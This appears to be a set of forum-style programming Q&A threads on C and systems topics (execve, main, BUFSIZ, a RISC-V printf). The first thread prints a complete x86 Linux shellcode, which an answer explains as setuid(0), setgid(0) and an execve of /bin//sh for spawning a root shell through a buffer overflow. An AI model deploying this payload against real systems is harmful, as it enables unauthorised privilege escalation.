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I am calling a shellcode using buffer overflow to spawn a root shell. Can somebody explain what this shellcode exactly does? I have tried different shellcodes to spawn a root shell, but this was the only one which worked for me.
\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb
\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd
\x80
On first glance, the code appears to do setuid(0), then setgid(0), then call sys_execve() on some values (which include ASCII codes for "/bin//sh").
Looks like this is pure "payload" code, since I don't see anything to ensure the code is executed on the first place (buffer overflow, stack smashing, etc.).
(Thanks to #Hans Lub for the disassembler link)
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Here's the C representation of what I'm trying to do in RISC-V assembly:
printf ("x=%d\n", x);
https://godbolt.org/ is an interesting site. If you paste in c code, it can be transfered into others, such as RISC-V assembly. The sample c code is available from menie.org/georges/embedded/small_printf_source_code.html. It does work. Good luck.
Here is a very simple printf (actually only integers and strings and no advanced formatting)
https://godbolt.org/z/sgMVs7
It is not my code - it is tiny ptinf from the atolic studio. But it is a good base to implement something simple but more decent.
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I saw this special macro when I read a source code. If I remember correctly, it is defined in the standard library.
The name of this macro is related to the buffer size, and in my machine its implementation is 1024.
Now I want to use it to initialize the buffer but I forgot what it is called.
So is there any one who can help me make my code look more professional?
If I don't know what I am looking for specifically, how can I clearly say what I need?
Are you talking about BUFSIZ? It's a macro provided by <stdio.h> and it expands to the size of the buffer used by setbuf().
I'm not sure what use it has in your own code.
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I just had a question that whenever I write code I had to call all functions (predefined or user defined) in order to use or execute them. So why we don't have to call main function?
The main function is defined by the language itself as the designated start of the program. You don't need to call it because, in effect, your operating system (Linux, macOS, Windows, etc.) does.
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Let's say that at some point in my program I am using execv and the function ran successfully. Now my program has changed. What happened to it exactly? (Is all the memory get wiped automatically?)
execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.
That is to say, all data of current process will be gone, and the new program is loaded into memory, replacing the original process.
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I am not sure how will this program behave?
I ran this code but I am not able to figure out any reasoning behind the way it works
int main()
{
return main();
}
main() is a function by itself. The line return main() calls the function again. So in effect it should run an infinite loop. You wouldn't get any output (you said you ran it. didn't it crash?).
In reality it would be like staring into a mirror with another mirror placed behind you. You would only see endless reflections. . :)